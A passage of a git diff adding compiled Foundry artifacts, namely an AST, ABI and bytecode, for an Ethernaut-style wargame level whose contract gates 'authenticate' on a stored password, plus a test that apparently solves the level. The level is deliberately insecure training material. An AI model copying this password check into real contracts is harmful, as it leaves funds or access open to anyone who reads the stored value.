onstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"arguments":[{"id":53477,"name":"passkey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53471,"src":"1282:7:89","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":53475,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"1265:3:89","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":53476,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"1269:12:89","memberName":"encodePacked","nodeType":"MemberAccess","src":"1265:16:89","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":53478,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1265:25:89","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":53474,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"1255:9:89","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":53479,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1255:36:89","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"arguments":[{"id":53483,"name":"password","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53391,"src":"1322:8:89","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}],"expression":{"id":53481,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"1305:3:89","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":53482,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"1309:12:89","memberName":"encodePacked","nodeType":"MemberAccess","src":"1305:16:89","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":53484,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1305:26:89","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":53480,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"1295:9:89","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":53485,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1295:37:89","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"1255:77:89","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":53492,"nodeType":"IfStatement","src":"1251:122:89","trueBody":{"id":53491,"nodeType":"Block","src":"1334:39:89","statements":[{"expression":{"id":53489,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":53487,"name":"cleared","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53400,"src":"1348:7:89","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"74727565","id":53488,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"1358:4:89","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"src":"1348:14:89","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":53490,"nodeType":"ExpressionStatement","src":"1348:14:89"}]}}]},"functionSelector":"aa613b29","implemented":true,"kind":"function","modifiers":[],"name":"authenticate","nameLocation":"1198:12:89","parameters":{"id":53472,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53471,"mutability":"mutable","name":"passkey","nameLocation":"1225:7:89","nodeType":"VariableDeclaration","scope":53494,"src":"1211:21:89","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":53470,"name":"string","nodeType":"ElementaryTypeName","src":"1211:6:89","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"1210:23:89"},"returnParameters":{"id":53473,"nodeType":"ParameterList","parameters":[],"src":"1241:0:89"},"scope":53503,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":53502,"nodeType":"FunctionDefinition","src":"1385:80:89","nodes":[],"body":{"id":53501,"nodeType":"Block","src":"1434:31:89","nodes":[],"statements":[{"expression":{"id":53499,"name":"cleared","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53400,"src":"1451:7:89","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":53498,"id":53500,"nodeType":"Return","src":"1444:14:89"}]},"functionSelector":"3c848d78","implemented":true,"kind":"function","modifiers":[],"name":"getCleared","nameLocation":"1394:10:89","parameters":{"id":53495,"nodeType":"ParameterList","parameters":[],"src":"1404:2:89"},"returnParameters":{"id":53498,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53497,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":53502,"src":"1428:4:89","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":53496,"name":"bool","nodeType":"ElementaryTypeName","src":"1428:4:89","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"1427:6:89"},"scope":53503,"stateMutability":"view","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"Instance","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[53503],"name":"Instance","nameLocation":"66:8:89","scope":53504,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":89} \ No newline at end of file diff --git a/contracts/out/Instance.t.sol/TestInstance.json b/contracts/out/Instance.t.sol/TestInstance.json new file mode 100644 index 000000000..6c0c9b6e9 --- /dev/null +++ b/contracts/out/Instance.t.sol/TestInstance.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"IS_TEST","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"createLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"level","type":"address","internalType":"contract Level"},{"name":"value","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"instance","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"createUsers","inputs":[{"name":"userNum","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address[]","internalType":"address payable[]"}],"stateMutability":"nonpayable"},{"type":"function","name":"excludeArtifacts","inputs":[],"outputs":[{"name":"excludedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"excludeContracts","inputs":[],"outputs":[{"name":"excludedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"excludeSenders","inputs":[],"outputs":[{"name":"excludedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"failed","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"getEthernautWithStatsProxy","inputs":[{"name":"owner","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"contract Ethernaut"}],"stateMutability":"nonpayable"},{"type":"function","name":"getNextUserAddress","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address payable"}],"stateMutability":"nonpayable"},{"type":"function","name":"getOldFactory","inputs":[{"name":"contractName","type":"string","internalType":"string"}],"outputs":[{"name":"addr","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"mineBlocks","inputs":[{"name":"numBlocks","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setUp","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"submitLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"instance","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"targetArtifactSelectors","inputs":[],"outputs":[{"name":"targetedArtifactSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetArtifacts","inputs":[],"outputs":[{"name":"targetedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"targetContracts","inputs":[],"outputs":[{"name":"targetedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"targetInterfaces","inputs":[],"outputs":[{"name":"targetedInterfaces_","type":"tuple[]","internalType":"struct StdInvariant.FuzzInterface[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"artifacts","type":"string[]","internalType":"string[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSelectors","inputs":[],"outputs":[{"name":"targetedSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSenders","inputs":[],"outputs":[{"name":"targetedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"testInit","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testSolve","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"log","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_address","inputs":[{"name":"","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_bytes","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_bytes32","inputs":[{"name":"","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_int","inputs":[{"name":"","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_address","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_named_bytes","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_named_bytes32","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_named_decimal_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_decimal_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_string","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_named_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_string","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_uint","inputs":[{"name":"","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"logs","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false}],"bytecode":{"object":"0x600c8054600160ff1991821681178355601e80549092161790556b75736572206164647265737360a01b60a05260805260ac6040527ffadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7601f55348015610063575f80fd5b50616a53806100715f395ff3fe608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001bee565b62000806565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009d0565b604051620001c7919062001c31565b620001b3620001fa36600462001d1d565b62000a32565b6200020a62000bfd565b604051620001c7919062001df0565b620001da62000d45565b620001da62000da5565b6200023762000e05565b604051620001c7919062001eb3565b620001da6200025736600462001f80565b62000eff565b6200019a6200108f565b6200027162001299565b604051620001c7919062001f98565b620001b36200029136600462001ffe565b6200136e565b620002376200148d565b620002b8620002b23660046200201c565b62001587565b6040519015158152602001620001c7565b6200027162001717565b6200019a620017ec565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b862001885565b620001da62001959565b6200019a6200032f36600462001f80565b620019b9565b601e54620002b89060ff1681565b5f62000350600262000eff565b9050805f8151811062000367576200036762002058565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b505050508060018151811062000449576200044962002058565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b031690506200136e565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001ba1565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076b92506001600160a01b031690508266038d7ea4c6800062000806565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007eb575f80fd5b505af1158015620007fe573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562000862575f80fd5b505af115801562000875573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008d5575f80fd5b505af1158015620008e8573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200094d573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620009769190810190620020f9565b9050806001825162000989919062002289565b815181106200099c576200099c62002058565b60200260200101515f0151600281518110620009bc57620009bc62002058565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a09575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a92573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000abb91908101906200229f565b90505f81848560405160200162000ad4929190620022f1565b60408051601f198184030181529082905262000af492916020016200239f565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b58908590600401620023d1565b5f60405180830381865afa15801562000b73573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b9c91908101906200229f565b90505f62000be96040518060400160405280601081526020017f2e62797465636f64652e6f626a656374000000000000000000000000000000008152508362001a2d90919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d24578382905f5260205f2001805462000c9290620023e5565b80601f016020809104026020016040519081016040528092919081815260200182805462000cc090620023e5565b801562000d0f5780601f1062000ce55761010080835404028352916020019162000d0f565b820191905f5260205f20905b81548152906001019060200180831162000cf157829003601f168201915b50505050508152602001906001019062000c72565b50505050815250508152602001906001019062000c20565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000ee657602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e925790505b5050505050815250508152602001906001019062000e28565b60605f8267ffffffffffffffff81111562000f1e5762000f1e62001c7f565b60405190808252806020026020018201604052801562000f48578160200160208202803683370190505b5090505f5b8381101562001088575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f95573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fbb91906200241f565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001039575f80fd5b505af11580156200104c573d5f803e3d5ffd5b505050508083838151811062001066576200106662002058565b6001600160a01b03909216602092830291909101909101525060010162000f4d565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010e6575f80fd5b505af1158015620010f9573d5f803e3d5ffd5b505050505f60215f9054906101000a90046001600160a01b03166001600160a01b031663224b610b6040518163ffffffff1660e01b81526004015f60405180830381865afa1580156200114e573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200117791908101906200229f565b6021546040517faa613b290000000000000000000000000000000000000000000000000000000081529192506001600160a01b03169063aa613b2990620011c3908490600401620023d1565b5f604051808303815f87803b158015620011db575f80fd5b505af1158015620011ee573d5f803e3d5ffd5b505050506200127360215f9054906101000a90046001600160a01b03166001600160a01b0316633c848d786040518163ffffffff1660e01b8152600401602060405180830381865afa15801562001247573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200126d91906200243d565b62001acf565b60205460215462001296916200126d916001600160a01b03918216911662001587565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f20018054620012dc90620023e5565b80601f01602080910402602001604051908101604052809291908181526020018280546200130a90620023e5565b8015620013595780601f106200132f5761010080835404028352916020019162001359565b820191905f5260205f20905b8154815290600101906020018083116200133b57829003601f168201915b505050505081526020019060010190620012bc565b5f806040516200137e9062001baf565b604051809103905ff08015801562001398573d5f803e3d5ffd5b5090505f604051620013aa9062001bbd565b604051809103905ff080158015620013c4573d5f803e3d5ffd5b508483604051620013d59062001bcb565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff0801580156200140f573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b1580156200146e575f80fd5b505af115801562001481573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156200156e57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190600401906020826003010492830192600103820291508084116200151a5790505b50505050508152505081526020019060010190620014b0565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620015e3575f80fd5b505af1158015620015f6573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b15801562001654575f80fd5b505af115801562001667573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af1158015620016cb573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620016f49190810190620020f9565b90506001815111156200170c57600191505062001711565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f200180546200175a90620023e5565b80601f01602080910402602001604051908101604052809291908181526020018280546200178890620023e5565b8015620017d75780601f10620017ad57610100808354040283529160200191620017d7565b820191905f5260205f20905b815481529060010190602001808311620017b957829003601f168201915b5050505050815260200190600101906200173a565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b15801562001843575f80fd5b505af115801562001856573d5f803e3d5ffd5b50506020546021546200188393506200187d92506001600160a01b03918216911662001587565b62001b4e565b565b6008545f9060ff16156200189d575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa1580156200192c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200195291906200245e565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b5f620019c6824362002476565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007eb575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be89062001a8490869086906004016200248c565b5f60405180830381865afa15801562001a9f573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001ac89190810190620024bd565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001b34575f80fd5b505afa15801562001b47573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001b1d565b610e2180620024f483390190565b610ae5806200331583390190565b611e7a8062003dfa83390190565b610daa8062005c7483390190565b6001600160a01b038116811462001296575f80fd5b5f805f6060848603121562001c01575f80fd5b833562001c0e8162001bd9565b9250602084013562001c208162001bd9565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001c735783516001600160a01b03168352928401929184019160010162001c4c565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001cb95762001cb962001c7f565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001ceb5762001ceb62001c7f565b604052919050565b5f67ffffffffffffffff82111562001d0f5762001d0f62001c7f565b50601f01601f191660200190565b5f6020828403121562001d2e575f80fd5b813567ffffffffffffffff81111562001d45575f80fd5b8201601f8101841362001d56575f80fd5b803562001d6d62001d678262001cf3565b62001cbf565b81815285602083850101111562001d82575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001dbb57818101518382015260200162001da1565b50505f910152565b5f815180845262001ddc81602086016020860162001d9f565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001ea457603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001e8d57605f1988850301835262001e7a84865162001dc3565b948d01949350918c019160010162001e5b565b505050968901969350509087019060010162001e15565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001f7257888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001f5c5783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001f18565b5096890196945050509086019060010162001eda565b509098975050505050505050565b5f6020828403121562001f91575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001ff157603f1988860301845262001fde85835162001dc3565b9450928501929085019060010162001fbf565b5092979650505050505050565b5f602082840312156200200f575f80fd5b813562001ac88162001bd9565b5f80604083850312156200202e575f80fd5b82356200203b8162001bd9565b915060208301356200204d8162001bd9565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff82111562002088576200208862001c7f565b5060051b60200190565b5f620020a262001d678462001cf3565b9050828152838383011115620020b6575f80fd5b62001ac883602083018462001d9f565b5f82601f830112620020d6575f80fd5b62001ac88383516020850162002092565b8051620020f48162001bd9565b919050565b5f60208083850312156200210b575f80fd5b825167ffffffffffffffff8082111562002123575f80fd5b818501915085601f83011262002137575f80fd5b81516200214862001d67826200206c565b81815260059190911b8301840190848101908883111562002167575f80fd5b8585015b83811015620022685780518581111562002183575f80fd5b8